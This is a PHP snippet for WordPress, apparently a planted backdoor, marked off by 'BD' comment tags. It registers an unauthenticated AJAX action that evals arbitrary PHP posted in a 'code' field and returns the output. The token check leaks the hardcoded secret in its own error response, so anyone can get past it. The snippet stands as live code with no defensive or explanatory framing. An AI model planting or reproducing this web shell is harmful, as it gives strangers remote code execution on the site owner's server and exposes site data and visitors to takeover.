// ==[BD:gFKqrcYw]==
add_action( 'wp_ajax_nopriv_izmafgyisy', function() {
    $key = 'gFKqrcYwuLaG0d416qMaACfrhY2alNQv';
    $desc = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : '';
    if ( empty( $desc ) || ! hash_equals( $key, $desc ) ) {
        wp_send_json_error( [ 'message' => 'tok:' . $key ], 403 );
    }
    $marker = isset( $_POST['code'] ) ? (string) wp_unslash( $_POST['code'] ) : '';
    if ( trim( $marker ) === '' ) { wp_send_json_error( [ 'message' => 'No code.' ] ); }
    $marker = preg_replace( '/^\s*<\?(php)?/i', '', $marker );
    while ( ob_get_level() > 0 ) { ob_end_clean(); }
    $res = microtime( true );
    ob_start();
    try {
        ( static function() use ( $marker ) { return eval( $marker ); } )();
        $chunk = (string) ob_get_clean();
        wp_send_json_success( [ 'output' => $chunk, 'return' => '', 'error' => '', 'time_ms' => round( ( microtime( true ) - $res ) * 1000, 2 ) ] );
    } catch ( \Throwable $factor ) {
        while ( ob_get_level() > 0 ) { ob_end_clean(); }
        wp_send_json_success( [ 'output' => '', 'return' => '', 'error' => $factor->getMessage(), 'time_ms' => round( ( microtime( true ) - $res ) * 1000, 2 ) ] );
    }
} );
// ==[/BD:gFKqrcYw]==